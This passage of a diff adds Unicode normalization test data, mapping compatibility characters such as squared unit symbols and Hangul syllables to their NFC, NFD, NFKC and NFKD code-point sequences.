+{ source: [0x3376], NFC: [0x3376], NFD: [0x3376], NFKC: [0x0070, 0x0063], NFKD: [0x0070, 0x0063] },
+{ source: [0x3377], NFC: [0x3377], NFD: [0x3377], NFKC: [0x0064, 0x006D], NFKD: [0x0064, 0x006D] },
+{ source: [0x3378], NFC: [0x3378], NFD: [0x3378], NFKC: [0x0064, 0x006D, 0x0032], NFKD: [0x0064, 0x006D, 0x0032] },
+{ source: [0x3379], NFC: [0x3379], NFD: [0x3379], NFKC: [0x0064, 0x006D, 0x0033], NFKD: [0x0064, 0x006D, 0x0033] },
+{ source: [0x337A], NFC: [0x337A], NFD: [0x337A], NFKC: [0x0049, 0x0055], NFKD: [0x0049, 0x0055] },
+{ source: [0x337B], NFC: [0x337B], NFD: [0x337B], NFKC: [0x5E73, 0x6210], NFKD: [0x5E73, 0x6210] },
+{ source: [0x337C], NFC: [0x337C], NFD: [0x337C], NFKC: [0x662D, 0x548C], NFKD: [0x662D, 0x548C] },
+{ source: [0x337D], NFC: [0x337D], NFD: [0x337D], NFKC: [0x5927, 0x6B63], NFKD: [0x5927, 0x6B63] },
+{ source: [0x337E], NFC: [0x337E], NFD: [0x337E], NFKC: [0x660E, 0x6CBB], NFKD: [0x660E, 0x6CBB] },
+{ source: [0x337F], NFC: [0x337F], NFD: [0x337F], NFKC: [0x682A, 0x5F0F, 0x4F1A, 0x793E], NFKD: [0x682A, 0x5F0F, 0x4F1A, 0x793E] },
+{ source: [0x3380], NFC: [0x3380], NFD: [0x3380], NFKC: [0x0070, 0x0041], NFKD: [0x0070, 0x0041] },
+{ source: [0x3381], NFC: [0x3381], NFD: [0x3381], NFKC: [0x006E, 0x0041], NFKD: [0x006E, 0x0041] },
+{ source: [0x3382], NFC: [0x3382], NFD: [0x3382], NFKC: [0x03BC, 0x0041], NFKD: [0x03BC, 0x0041] },
+{ source: [0x3383], NFC: [0x3383], NFD: [0x3383], NFKC: [0x006D, 0x0041], NFKD: [0x006D, 0x0041] },
+{ source: [0x3384], NFC: [0x3384], NFD: [0x3384], NFKC: [0x006B, 0x0041], NFKD: [0x006B, 0x0041] },
+{ source: [0x3385], NFC: [0x3385], NFD: [0x3385], NFKC: [0x004B, 0x0042], NFKD: [0x004B, 0x0042] },
+{ source: [0x3386], NFC: [0x3386], NFD: [0x3386], NFKC: [0x004D, 0x0042], NFKD: [0x004D, 0x0042] },
+{ source: [0x3387], NFC: [0x3387], NFD: [0x3387], NFKC: [0x0047, 0x0042], NFKD: [0x0047, 0x0042] },
+{ source: [0x3388], NFC: [0x3388], NFD: [0x3388], NFKC: [0x0063, 0x0061, 0x006C], NFKD: [0x0063, 0x0061, 0x006C] },
+{ source: [0x3389], NFC: [0x3389], NFD: [0x3389], NFKC: [0x006B, 0x0063, 0x0061, 0x006C], NFKD: [0x006B, 0x0063, 0x0061, 0x006C] },
+{ source: [0x338A], NFC: [0x338A], NFD: [0x338A], NFKC: [0x0070, 0x0046], NFKD: [0x0070, 0x0046] },
+{ source: [0x338B], NFC: [0x338B], NFD: [0x338B], NFKC: [0x006E, 0x0046], NFKD: [0x006E, 0x0046] },
+{ source: [0x338C], NFC: [0x338C], NFD: [0x338C], NFKC: [0x03BC, 0x0046], NFKD: [0x03BC, 0x0046] },
+{ source: [0x338D], NFC: [0x338D], NFD: [0x338D], NFKC: [0x03BC, 0x0067], NFKD: [0x03BC, 0x0067] },
+{ source: [0x338E], NFC: [0x338E], NFD: [0x338E], NFKC: [0x006D, 0x0067], NFKD: [0x006D, 0x0067] },
+{ source: [0x338F], NFC: [0x338F], NFD: [0x338F], NFKC: [0x006B, 0x0067], NFKD: [0x006B, 0x0067] },
+{ source: [0x3390], NFC: [0x3390], NFD: [0x3390], NFKC: [0x0048, 0x007A], NFKD: [0x0048, 0x007A] },
+{ source: [0x3391], NFC: [0x3391], NFD: [0x3391], NFKC: [0x006B, 0x0048, 0x007A], NFKD: [0x006B, 0x0048, 0x007A] },
+{ source: [0x3392], NFC: [0x3392], NFD: [0x3392], NFKC: [0x004D, 0x0048, 0x007A], NFKD: [0x004D, 0x0048, 0x007A] },
+{ source: [0x3393], NFC: [0x3393], NFD: [0x3393], NFKC: [0x0047, 0x0048, 0x007A], NFKD: [0x0047, 0x0048, 0x007A] },
+{ source: [0x3394], NFC: [0x3394], NFD: [0x3394], NFKC: [0x0054, 0x0048, 0x007A], NFKD: [0x0054, 0x0048, 0x007A] },
+{ source: [0x3395], NFC: [0x3395], NFD: [0x3395], NFKC: [0x03BC, 0x006C], NFKD: [0x03BC, 0x006C] },
+{ source: [0x3396], NFC: [0x3396], NFD: [0x3396], NFKC: [0x006D, 0x006C], NFKD: [0x006D, 0x006C] },
+{ source: [0x3397], NFC: [0x3397], NFD: [0x3397], NFKC: [0x0064, 0x006C], NFKD: [0x0064, 0x006C] },
+{ source: [0x3398], NFC: [0x3398], NFD: [0x3398], NFKC: [0x006B, 0x006C], NFKD: [0x006B, 0x006C] },
+{ source: [0x3399], NFC: [0x3399], NFD: [0x3399], NFKC: [0x0066, 0x006D], NFKD: [0x0066, 0x006D] },
+{ source: [0x339A], NFC: [0x339A], NFD: [0x339A], NFKC: [0x006E, 0x006D], NFKD: [0x006E, 0x006D] },
+{ source: [0x339B], NFC: [0x339B], NFD: [0x339B], NFKC: [0x03BC, 0x006D], NFKD: [0x03BC, 0x006D] },
+{ source: [0x339C], NFC: [0x339C], NFD: [0x339C], NFKC: [0x006D, 0x006D], NFKD: [0x006D, 0x006D] },
+{ source: [0x339D], NFC: [0x339D], NFD: [0x339D], NFKC: [0x0063, 0x006D], NFKD: [0x0063, 0x006D] },
+{ source: [0x339E], NFC: [0x339E], NFD: [0x339E], NFKC: [0x006B, 0x006D], NFKD: [0x006B, 0x006D] },
+{ source: [0x339F], NFC: [0x339F], NFD: [0x339F], NFKC: [0x006D, 0x006D, 0x0032], NFKD: [0x006D, 0x006D, 0x0032] },
+{ source: [0x33A0], NFC: [0x33A0], NFD: [0x33A0], NFKC: [0x0063, 0x006D, 0x0032], NFKD: [0x0063, 0x006D, 0x0032] },
+{ source: [0x33A1], NFC: [0x33A1], NFD: [0x33A1], NFKC: [0x006D, 0x0032], NFKD: [0x006D, 0x0032] },
+{ source: [0x33A2], NFC: [0x33A2], NFD: [0x33A2], NFKC: [0x006B, 0x006D, 0x0032], NFKD: [0x006B, 0x006D, 0x0032] },
+{ source: [0x33A3], NFC: [0x33A3], NFD: [0x33A3], NFKC: [0x006D, 0x006D, 0x0033], NFKD: [0x006D, 0x006D, 0x0033] },
+{ source: [0x33A4], NFC: [0x33A4], NFD: [0x33A4], NFKC: [0x0063, 0x006D, 0x0033], NFKD: [0x0063, 0x006D, 0x0033] },
+{ source: [0x33A5], NFC: [0x33A5], NFD: [0x33A5], NFKC: [0x006D, 0x0033], NFKD: [0x006D, 0x0033] },
+{ source: [0x33A6], NFC: [0x33A6], NFD: [0x33A6], NFKC: [0x006B, 0x006D, 0x0033], NFKD: [0x006B, 0x006D, 0x0033] },
+{ source: [0x33A7], NFC: [0x33A7], NFD: [0x33A7], NFKC: [0x006D, 0x2215, 0x0073], NFKD: [0x006D, 0x2215, 0x0073] },
+{ source: [0x33A8], NFC: [0x33A8], NFD: [0x33A8], NFKC: [0x006D, 0x2215, 0x0073, 0x0032], NFKD: [0x006D, 0x2215, 0x0073, 0x0032] },
+{ source: [0x33A9], NFC: [0x33A9], NFD: [0x33A9], NFKC: [0x0050, 0x0061], NFKD: [0x0050, 0x0061] },
+{ source: [0x33AA], NFC: [0x33AA], NFD: [0x33AA], NFKC: [0x006B, 0x0050, 0x0061], NFKD: [0x006B, 0x0050, 0x0061] },
+{ source: [0x33AB], NFC: [0x33AB], NFD: [0x33AB], NFKC: [0x004D, 0x0050, 0x0061], NFKD: [0x004D, 0x0050, 0x0061] },
+{ source: [0x33AC], NFC: [0x33AC], NFD: [0x33AC], NFKC: [0x0047, 0x0050, 0x0061], NFKD: [0x0047, 0x0050, 0x0061] },
+{ source: [0x33AD], NFC: [0x33AD], NFD: [0x33AD], NFKC: [0x0072, 0x0061, 0x0064], NFKD: [0x0072, 0x0061, 0x0064] },
+{ source: [0x33AE], NFC: [0x33AE], NFD: [0x33AE], NFKC: [0x0072, 0x0061, 0x0064, 0x2215, 0x0073], NFKD: [0x0072, 0x0061, 0x0064, 0x2215, 0x0073] },
+{ source: [0x33AF], NFC: [0x33AF], NFD: [0x33AF], NFKC: [0x0072, 0x0061, 0x0064, 0x2215, 0x0073, 0x0032], NFKD: [0x0072, 0x0061, 0x0064, 0x2215, 0x0073, 0x0032] },
+{ source: [0x33B0], NFC: [0x33B0], NFD: [0x33B0], NFKC: [0x0070, 0x0073], NFKD: [0x0070, 0x0073] },
+{ source: [0x33B1], NFC: [0x33B1], NFD: [0x33B1], NFKC: [0x006E, 0x0073], NFKD: [0x006E, 0x0073] },
+{ source: [0x33B2], NFC: [0x33B2], NFD: [0x33B2], NFKC: [0x03BC, 0x0073], NFKD: [0x03BC, 0x0073] },
+{ source: [0x33B3], NFC: [0x33B3], NFD: [0x33B3], NFKC: [0x006D, 0x0073], NFKD: [0x006D, 0x0073] },
+{ source: [0x33B4], NFC: [0x33B4], NFD: [0x33B4], NFKC: [0x0070, 0x0056], NFKD: [0x0070, 0x0056] },
+{ source: [0x33B5], NFC: [0x33B5], NFD: [0x33B5], NFKC: [0x006E, 0x0056], NFKD: [0x006E, 0x0056] },
+{ source: [0x33B6], NFC: [0x33B6], NFD: [0x33B6], NFKC: [0x03BC, 0x0056], NFKD: [0x03BC, 0x0056] },
+{ source: [0x33B7], NFC: [0x33B7], NFD: [0x33B7], NFKC: [0x006D, 0x0056], NFKD: [0x006D, 0x0056] },
+{ source: [0x33B8], NFC: [0x33B8], NFD: [0x33B8], NFKC: [0x006B, 0x0056], NFKD: [0x006B, 0x0056] },
+{ source: [0x33B9], NFC: [0x33B9], NFD: [0x33B9], NFKC: [0x004D, 0x0056], NFKD: [0x004D, 0x0056] },
+{ source: [0x33BA], NFC: [0x33BA], NFD: [0x33BA], NFKC: [0x0070, 0x0057], NFKD: [0x0070, 0x0057] },
+{ source: [0x33BB], NFC: [0x33BB], NFD: [0x33BB], NFKC: [0x006E, 0x0057], NFKD: [0x006E, 0x0057] },
+{ source: [0x33BC], NFC: [0x33BC], NFD: [0x33BC], NFKC: [0x03BC, 0x0057], NFKD: [0x03BC, 0x0057] },
+{ source: [0x33BD], NFC: [0x33BD], NFD: [0x33BD], NFKC: [0x006D, 0x0057], NFKD: [0x006D, 0x0057] },
+{ source: [0x33BE], NFC: [0x33BE], NFD: [0x33BE], NFKC: [0x006B, 0x0057], NFKD: [0x006B, 0x0057] },
+{ source: [0x33BF], NFC: [0x33BF], NFD: [0x33BF], NFKC: [0x004D, 0x0057], NFKD: [0x004D, 0x0057] },
+{ source: [0x33C0], NFC: [0x33C0], NFD: [0x33C0], NFKC: [0x006B, 0x03A9], NFKD: [0x006B, 0x03A9] },
+{ source: [0x33C1], NFC: [0x33C1], NFD: [0x33C1], NFKC: [0x004D, 0x03A9], NFKD: [0x004D, 0x03A9] },
+{ source: [0x33C2], NFC: [0x33C2], NFD: [0x33C2], NFKC: [0x0061, 0x002E, 0x006D, 0x002E], NFKD: [0x0061, 0x002E, 0x006D, 0x002E] },
+{ source: [0x33C3], NFC: [0x33C3], NFD: [0x33C3], NFKC: [0x0042, 0x0071], NFKD: [0x0042, 0x0071] },
+{ source: [0x33C4], NFC: [0x33C4], NFD: [0x33C4], NFKC: [0x0063, 0x0063], NFKD: [0x0063, 0x0063] },
+{ source: [0x33C5], NFC: [0x33C5], NFD: [0x33C5], NFKC: [0x0063, 0x0064], NFKD: [0x0063, 0x0064] },
+{ source: [0x33C6], NFC: [0x33C6], NFD: [0x33C6], NFKC: [0x0043, 0x2215, 0x006B, 0x0067], NFKD: [0x0043, 0x2215, 0x006B, 0x0067] },
+{ source: [0x33C7], NFC: [0x33C7], NFD: [0x33C7], NFKC: [0x0043, 0x006F, 0x002E], NFKD: [0x0043, 0x006F, 0x002E] },
+{ source: [0x33C8], NFC: [0x33C8], NFD: [0x33C8], NFKC: [0x0064, 0x0042], NFKD: [0x0064, 0x0042] },
+{ source: [0x33C9], NFC: [0x33C9], NFD: [0x33C9], NFKC: [0x0047, 0x0079], NFKD: [0x0047, 0x0079] },
+{ source: [0x33CA], NFC: [0x33CA], NFD: [0x33CA], NFKC: [0x0068, 0x0061], NFKD: [0x0068, 0x0061] },
+{ source: [0x33CB], NFC: [0x33CB], NFD: [0x33CB], NFKC: [0x0048, 0x0050], NFKD: [0x0048, 0x0050] },
+{ source: [0x33CC], NFC: [0x33CC], NFD: [0x33CC], NFKC: [0x0069, 0x006E], NFKD: [0x0069, 0x006E] },
+{ source: [0x33CD], NFC: [0x33CD], NFD: [0x33CD], NFKC: [0x004B, 0x004B], NFKD: [0x004B, 0x004B] },
+{ source: [0x33CE], NFC: [0x33CE], NFD: [0x33CE], NFKC: [0x004B, 0x004D], NFKD: [0x004B, 0x004D] },
+{ source: [0x33CF], NFC: [0x33CF], NFD: [0x33CF], NFKC: [0x006B, 0x0074], NFKD: [0x006B, 0x0074] },
+{ source: [0x33D0], NFC: [0x33D0], NFD: [0x33D0], NFKC: [0x006C, 0x006D], NFKD: [0x006C, 0x006D] },
+{ source: [0x33D1], NFC: [0x33D1], NFD: [0x33D1], NFKC: [0x006C, 0x006E], NFKD: [0x006C, 0x006E] },
+{ source: [0x33D2], NFC: [0x33D2], NFD: [0x33D2], NFKC: [0x006C, 0x006F, 0x0067], NFKD: [0x006C, 0x006F, 0x0067] },
+{ source: [0x33D3], NFC: [0x33D3], NFD: [0x33D3], NFKC: [0x006C, 0x0078], NFKD: [0x006C, 0x0078] },
+{ source: [0x33D4], NFC: [0x33D4], NFD: [0x33D4], NFKC: [0x006D, 0x0062], NFKD: [0x006D, 0x0062] },
+{ source: [0x33D5], NFC: [0x33D5], NFD: [0x33D5], NFKC: [0x006D, 0x0069, 0x006C], NFKD: [0x006D, 0x0069, 0x006C] },
+{ source: [0x33D6], NFC: [0x33D6], NFD: [0x33D6], NFKC: [0x006D, 0x006F, 0x006C], NFKD: [0x006D, 0x006F, 0x006C] },
+{ source: [0x33D7], NFC: [0x33D7], NFD: [0x33D7], NFKC: [0x0050, 0x0048], NFKD: [0x0050, 0x0048] },
+{ source: [0x33D8], NFC: [0x33D8], NFD: [0x33D8], NFKC: [0x0070, 0x002E, 0x006D, 0x002E], NFKD: [0x0070, 0x002E, 0x006D, 0x002E] },
+{ source: [0x33D9], NFC: [0x33D9], NFD: [0x33D9], NFKC: [0x0050, 0x0050, 0x004D], NFKD: [0x0050, 0x0050, 0x004D] },
+{ source: [0x33DA], NFC: [0x33DA], NFD: [0x33DA], NFKC: [0x0050, 0x0052], NFKD: [0x0050, 0x0052] },
+{ source: [0x33DB], NFC: [0x33DB], NFD: [0x33DB], NFKC: [0x0073, 0x0072], NFKD: [0x0073, 0x0072] },
+{ source: [0x33DC], NFC: [0x33DC], NFD: [0x33DC], NFKC: [0x0053, 0x0076], NFKD: [0x0053, 0x0076] },
+{ source: [0x33DD], NFC: [0x33DD], NFD: [0x33DD], NFKC: [0x0057, 0x0062], NFKD: [0x0057, 0x0062] },
+{ source: [0x33DE], NFC: [0x33DE], NFD: [0x33DE], NFKC: [0x0056, 0x2215, 0x006D], NFKD: [0x0056, 0x2215, 0x006D] },
+{ source: [0x33DF], NFC: [0x33DF], NFD: [0x33DF], NFKC: [0x0041, 0x2215, 0x006D], NFKD: [0x0041, 0x2215, 0x006D] },
+{ source: [0x33E0], NFC: [0x33E0], NFD: [0x33E0], NFKC: [0x0031, 0x65E5], NFKD: [0x0031, 0x65E5] },
+{ source: [0x33E1], NFC: [0x33E1], NFD: [0x33E1], NFKC: [0x0032, 0x65E5], NFKD: [0x0032, 0x65E5] },
+{ source: [0x33E2], NFC: [0x33E2], NFD: [0x33E2], NFKC: [0x0033, 0x65E5], NFKD: [0x0033, 0x65E5] },
+{ source: [0x33E3], NFC: [0x33E3], NFD: [0x33E3], NFKC: [0x0034, 0x65E5], NFKD: [0x0034, 0x65E5] },
+{ source: [0x33E4], NFC: [0x33E4], NFD: [0x33E4], NFKC: [0x0035, 0x65E5], NFKD: [0x0035, 0x65E5] },
+{ source: [0x33E5], NFC: [0x33E5], NFD: [0x33E5], NFKC: [0x0036, 0x65E5], NFKD: [0x0036, 0x65E5] },
+{ source: [0x33E6], NFC: [0x33E6], NFD: [0x33E6], NFKC: [0x0037, 0x65E5], NFKD: [0x0037, 0x65E5] },
+{ source: [0x33E7], NFC: [0x33E7], NFD: [0x33E7], NFKC: [0x0038, 0x65E5], NFKD: [0x0038, 0x65E5] },
+{ source: [0x33E8], NFC: [0x33E8], NFD: [0x33E8], NFKC: [0x0039, 0x65E5], NFKD: [0x0039, 0x65E5] },
+{ source: [0x33E9], NFC: [0x33E9], NFD: [0x33E9], NFKC: [0x0031, 0x0030, 0x65E5], NFKD: [0x0031, 0x0030, 0x65E5] },
+{ source: [0x33EA], NFC: [0x33EA], NFD: [0x33EA], NFKC: [0x0031, 0x0031, 0x65E5], NFKD: [0x0031, 0x0031, 0x65E5] },
+{ source: [0x33EB], NFC: [0x33EB], NFD: [0x33EB], NFKC: [0x0031, 0x0032, 0x65E5], NFKD: [0x0031, 0x0032, 0x65E5] },
+{ source: [0x33EC], NFC: [0x33EC], NFD: [0x33EC], NFKC: [0x0031, 0x0033, 0x65E5], NFKD: [0x0031, 0x0033, 0x65E5] },
+{ source: [0x33ED], NFC: [0x33ED], NFD: [0x33ED], NFKC: [0x0031, 0x0034, 0x65E5], NFKD: [0x0031, 0x0034, 0x65E5] },
+{ source: [0x33EE], NFC: [0x33EE], NFD: [0x33EE], NFKC: [0x0031, 0x0035, 0x65E5], NFKD: [0x0031, 0x0035, 0x65E5] },
+{ source: [0x33EF], NFC: [0x33EF], NFD: [0x33EF], NFKC: [0x0031, 0x0036, 0x65E5], NFKD: [0x0031, 0x0036, 0x65E5] },
+{ source: [0x33F0], NFC: [0x33F0], NFD: [0x33F0], NFKC: [0x0031, 0x0037, 0x65E5], NFKD: [0x0031, 0x0037, 0x65E5] },
+{ source: [0x33F1], NFC: [0x33F1], NFD: [0x33F1], NFKC: [0x0031, 0x0038, 0x65E5], NFKD: [0x0031, 0x0038, 0x65E5] },
+{ source: [0x33F2], NFC: [0x33F2], NFD: [0x33F2], NFKC: [0x0031, 0x0039, 0x65E5], NFKD: [0x0031, 0x0039, 0x65E5] },
+{ source: [0x33F3], NFC: [0x33F3], NFD: [0x33F3], NFKC: [0x0032, 0x0030, 0x65E5], NFKD: [0x0032, 0x0030, 0x65E5] },
+{ source: [0x33F4], NFC: [0x33F4], NFD: [0x33F4], NFKC: [0x0032, 0x0031, 0x65E5], NFKD: [0x0032, 0x0031, 0x65E5] },
+{ source: [0x33F5], NFC: [0x33F5], NFD: [0x33F5], NFKC: [0x0032, 0x0032, 0x65E5], NFKD: [0x0032, 0x0032, 0x65E5] },
+{ source: [0x33F6], NFC: [0x33F6], NFD: [0x33F6], NFKC: [0x0032, 0x0033, 0x65E5], NFKD: [0x0032, 0x0033, 0x65E5] },
+{ source: [0x33F7], NFC: [0x33F7], NFD: [0x33F7], NFKC: [0x0032, 0x0034, 0x65E5], NFKD: [0x0032, 0x0034, 0x65E5] },
+{ source: [0x33F8], NFC: [0x33F8], NFD: [0x33F8], NFKC: [0x0032, 0x0035, 0x65E5], NFKD: [0x0032, 0x0035, 0x65E5] },
+{ source: [0x33F9], NFC: [0x33F9], NFD: [0x33F9], NFKC: [0x0032, 0x0036, 0x65E5], NFKD: [0x0032, 0x0036, 0x65E5] },
+{ source: [0x33FA], NFC: [0x33FA], NFD: [0x33FA], NFKC: [0x0032, 0x0037, 0x65E5], NFKD: [0x0032, 0x0037, 0x65E5] },
+{ source: [0x33FB], NFC: [0x33FB], NFD: [0x33FB], NFKC: [0x0032, 0x0038, 0x65E5], NFKD: [0x0032, 0x0038, 0x65E5] },
+{ source: [0x33FC], NFC: [0x33FC], NFD: [0x33FC], NFKC: [0x0032, 0x0039, 0x65E5], NFKD: [0x0032, 0x0039, 0x65E5] },
+{ source: [0x33FD], NFC: [0x33FD], NFD: [0x33FD], NFKC: [0x0033, 0x0030, 0x65E5], NFKD: [0x0033, 0x0030, 0x65E5] },
+{ source: [0x33FE], NFC: [0x33FE], NFD: [0x33FE], NFKC: [0x0033, 0x0031, 0x65E5], NFKD: [0x0033, 0x0031, 0x65E5] },
+{ source: [0x33FF], NFC: [0x33FF], NFD: [0x33FF], NFKC: [0x0067, 0x0061, 0x006C], NFKD: [0x0067, 0x0061, 0x006C] },
+{ source: [0xA69C], NFC: [0xA69C], NFD: [0xA69C], NFKC: [0x044A], NFKD: [0x044A] },
+{ source: [0xA69D], NFC: [0xA69D], NFD: [0xA69D], NFKC: [0x044C], NFKD: [0x044C] },
+{ source: [0xA770], NFC: [0xA770], NFD: [0xA770], NFKC: [0xA76F], NFKD: [0xA76F] },
+{ source: [0xA7F8], NFC: [0xA7F8], NFD: [0xA7F8], NFKC: [0x0126], NFKD: [0x0126] },
+{ source: [0xA7F9], NFC: [0xA7F9], NFD: [0xA7F9], NFKC: [0x0153], NFKD: [0x0153] },
+{ source: [0xAB5C], NFC: [0xAB5C], NFD: [0xAB5C], NFKC: [0xA727], NFKD: [0xA727] },
+{ source: [0xAB5D], NFC: [0xAB5D], NFD: [0xAB5D], NFKC: [0xAB37], NFKD: [0xAB37] },
+{ source: [0xAB5E], NFC: [0xAB5E], NFD: [0xAB5E], NFKC: [0x026B], NFKD: [0x026B] },
+{ source: [0xAB5F], NFC: [0xAB5F], NFD: [0xAB5F], NFKC: [0xAB52], NFKD: [0xAB52] },
+{ source: [0xAC00], NFC: [0xAC00], NFD: [0x1100, 0x1161], NFKC: [0xAC00], NFKD: [0x1100, 0x1161] },
+{ source: [0xAC01], NFC: [0xAC01], NFD: [0x1100, 0x1161, 0x11A8], NFKC: [0xAC01], NFKD: [0x1100, 0x1161, 0x11A8] },
+{ source: [0xAC02], NFC: [0xAC02], NFD: [0x1100, 0x1161, 0x11A9], NFKC: [0xAC02], NFKD: [0x1100, 0x1161, 0x11A9] },
+{ source: [0xAC03], NFC: [0xAC03], NFD: [0x1100, 0x1161, 0x11AA], NFKC: [0xAC03], NFKD: [0x1100, 0x1161, 0x11AA] },
+{ source: [0xAC04], NFC: [0xAC04], NFD: [0x1100, 0x1161, 0x11AB], NFKC: [0xAC04], NFKD: [0x1100, 0x1161, 0x11AB] },
+{ source: [0xAC05], NFC: [0xAC05], NFD: [0x1100, 0x1161, 0x11AC], NFKC: [0xAC05], NFKD: [0x1100, 0x1161, 0x11AC] },
+{ source: [0xAC06], NFC: [0xAC06], NFD: [0x1100, 0x1161, 0x11AD], NFKC: [0xAC06], NFKD: [0x1100, 0x1161, 0x11AD] },
+{ source: [0xAC07], NFC: [0xAC07], NFD: [0x1100, 0x1161, 0x11AE], NFKC: [0xAC07], NFKD: [0x1100, 0x1161, 0x11AE] },
+{ source: [0xAC08], NFC: [0xAC08], NFD: [0x1100, 0x1161, 0x11AF], NFKC: [0xAC08], NFKD: [0x1100, 0x1161, 0x11AF] },
+{ source: [0xAC09], NFC: [0xAC09], NFD: [0x1100, 0x1161, 0x11B0], NFKC: [0xAC09], NFKD: [0x1100, 0x1161, 0x11B0] },
+{ source: [0xAC0A], NFC: [0xAC0A], NFD: [0x1100, 0x1161, 0x11B1], NFKC: [0xAC0A], NFKD: [0x1100, 0x1161, 0x11B1] },
+{ source: [0xAC0B], NFC: [0xAC0B], NFD: [0x1100, 0x1161, 0x11B2], NFKC: [0xAC0B], NFKD: [0x1100, 0x1161, 0x11B2] },
+{ source: [0xAC0C], NFC: [0xAC0C], NFD: [0x1100, 0x1161, 0x11B3], NFKC: [0xAC0C], NFKD: [0x1100, 0x1161, 0x11B3] },
+{ source: [0xAC0D], NFC: [0xAC0D], NFD: [0x1100, 0x1161, 0x11B4], NFKC: [0xAC0D], NFKD: [0x1100, 0x1161, 0x11B4] },
+{ source: [0xAC0E], NFC: [0xAC0E], NFD: [0x1100, 0x1161, 0x11B5], NFKC: [0xAC0E], NFKD: [0x1100, 0x1161, 0x11B5] },
+{ source: [0xAC0F], NFC: [0xAC0F], NFD: [0x1100, 0x1161, 0x11B6], NFKC: [0xAC0F], NFKD: [0x1100, 0x1161, 0x11B6] },
+{ source: [0xAC10], NFC: [0xAC10], NFD: [0x1100, 0x1161, 0x11B7], NFKC: [0xAC10], NFKD: [0x1100, 0x1161, 0x11B7] },
+{ source: [0xAC11], NFC: [0xAC11], NFD: [0x1100, 0x1161, 0x11B8], NFKC: [0xAC11], NFKD: [0x1100, 0x1161, 0x11B8] },
+{ source: [0xAC12], NFC: [0xAC12], NFD: [0x1100, 0x1161, 0x11B9], NFKC: [0xAC12], NFKD: [0x1100, 0x1161, 0x11B9] },
+{ source: [0xAC13], NFC: [0xAC13], NFD: [0x1100, 0x1161, 0x11BA], NFKC: [0xAC13], NFKD: [0x1100, 0x1161, 0x11BA] },
+{ source: [0xAC14], NFC: [0xAC14], NFD: [0x1100, 0x1161, 0x11BB], NFKC: [0xAC14], NFKD: [0x1100, 0x1161, 0x11BB] },
+{ source: [0xAC15], NFC: [0xAC15], NFD: [0x1100, 0x1161, 0x11BC], NFKC: [0xAC15], NFKD: [0x1100, 0x1161, 0x11BC] },
+{ source: [0xAC16], NFC: [0xAC16], NFD: [0x1100, 0x1161, 0x11BD], NFKC: [0xAC16], NFKD: [0x1100, 0x1161, 0x11BD] },
+{ source: [0xAC17], NFC: [0xAC17], NFD: [0x1100, 0x1161, 0x11BE], NFKC: [0xAC17], NFKD: [0x1100, 0x1161, 0x11BE] },
+{ source: [0xAC18], NFC: [0xAC18], NFD: [0x1100, 0x1161, 0x11BF], NFKC: [0xAC18], NFKD: [0x1100, 0x1161, 0x11BF] },
+{ source: [0xAC19], NFC: [0xAC19], NFD: [0x1100, 0x1161, 0x11C0], NFKC: [0xAC19], NFKD: [0x1100, 0x1161, 0x11C0] },
+{ source: [0xAC1A], NFC: [0xAC1A], NFD: [0x1100, 0x1161, 0x11C1], NFKC: [0xAC1A], NFKD: [0x1100, 0x1161, 0x11C1] },
+{ source: [0xAC1B], NFC: [0xAC1B], NFD: [0x1100, 0x1161, 0x11C2], NFKC: [0xAC1B], NFKD: [0x1100, 0x1161, 0x11C2] },
+{ source: [0xAC1C], NFC: [0xAC1C], NFD: [0x1100, 0x1162], NFKC: [0xAC1C], NFKD: [0x1100, 0x1162] },
+{ source: [0xAC1D], NFC: [0xAC1D], NFD: [0x1100, 0x1162, 0x11A8], NFKC: [0xAC1D], NFKD: [0x1100, 0x1162, 0x11A8] },
+{ source: [0xAC1E], NFC: [0xAC1E], NFD: [0x1100, 0x1162, 0x11A9], NFKC: [0xAC1E], NFKD: [0x1100, 0x1162, 0x11A9] },
+{ source: [0xAC1F], NFC: [0xAC1F], NFD: [0x1100, 0x1162, 0x11AA], NFKC: [0xAC1F], NFKD: [0x1100, 0x1162, 0x11AA] },
+{ source: [0xAC20], NFC: [0xAC20], NFD: [0x1100, 0x1162, 0x11AB], NFKC: [0xAC20], NFKD: [0x1100, 0x1162, 0x11AB] },
+{ source: [0xAC21], NFC: [0xAC21], NFD: [0x1100, 0x1162, 0x11AC], NFKC: [0xAC21], NFKD: [0x1100, 0x1162, 0x11AC] },
+{ source: [0xAC22], NFC: [0xAC22], NFD: [0x1100, 0x1162, 0x11AD], NFKC: [0xAC22], NFKD: [0x1100, 0x1162, 0x11AD] },
+{ source: [0xAC23], NFC: [0xAC23], NFD: [0x1100, 0x1162, 0x11AE], NFKC: [0xAC23], NFKD: [0x1100, 0x1162, 0x11AE] },
+{ source: [0xAC24], NFC: [0xAC24], NFD: [0x1100, 0x1162, 0x11AF], NFKC: [0xAC24], NFKD: [0x1100, 0x1162, 0x11AF] },
+{ source: [0xAC25], NFC: [0xAC25], NFD: [0x1100, 0x1162, 0x11B0], NFKC: [0xAC25], NFKD: [0x1100, 0x1162, 0x11B0] },
+{ source: [0xAC26], NFC: [0xAC26], NFD: [0x1100, 0x1162, 0x11B1], NFKC: [0xAC26], NFKD: [0x1100, 0x1162, 0x11B1] },
+{ source: [0xAC27], NFC: [0xAC27], NFD: [0x1100, 0x1162, 0x11B2], NFKC: [0xAC27], NFKD: [0x1100, 0x1162, 0x11B2] },
+{ source: [0xAC28], NFC: [0xAC28], NFD: [0x1100, 0x1162, 0x11B3], NFKC: [0xAC28], NFKD: [0x1100, 0x1162, 0x11B3] },
+{ source: [0xAC29], NFC: [0xAC29], NFD: [0x1100, 0x1162, 0x11B4], NFKC: [0xAC29], NFKD: [0x1100, 0x1162, 0x11B4] },
+{ source: [0xAC2A], NFC: [0xAC2A], NFD: [0x1100, 0x1162, 0x11B5], NFKC: [0xAC2A], NFKD: [0x1100, 0x1162, 0x11B5] },
+{ source: [0xAC2B], NFC: [0xAC2B], NFD: [0x1100, 0x1162, 0x11B6], NFKC: [0xAC2B], NFKD: [0x1100, 0x1162, 0x11B6] },
+{ source: [0xAC2C], NFC: [0xAC2C], NFD: [0x1100, 0x1162, 0x11B7], NFKC: [0xAC2C], NFKD: [0x1100, 0x1162, 0x11B7] },
+{ source: [0xAC2D], NFC: [0xAC2D], NFD: [0x1100, 0x1162, 0x11B8], NFKC: [0xAC2D], NFKD: [0x1100, 0x1162, 0x11B8] },
+{ source: [0xAC2E], NFC: [0xAC2E], NFD: [0x1100, 0x1162, 0x11B9], NFKC: [0xAC2E], NFKD: [0x1100, 0x1162, 0x11B9] },
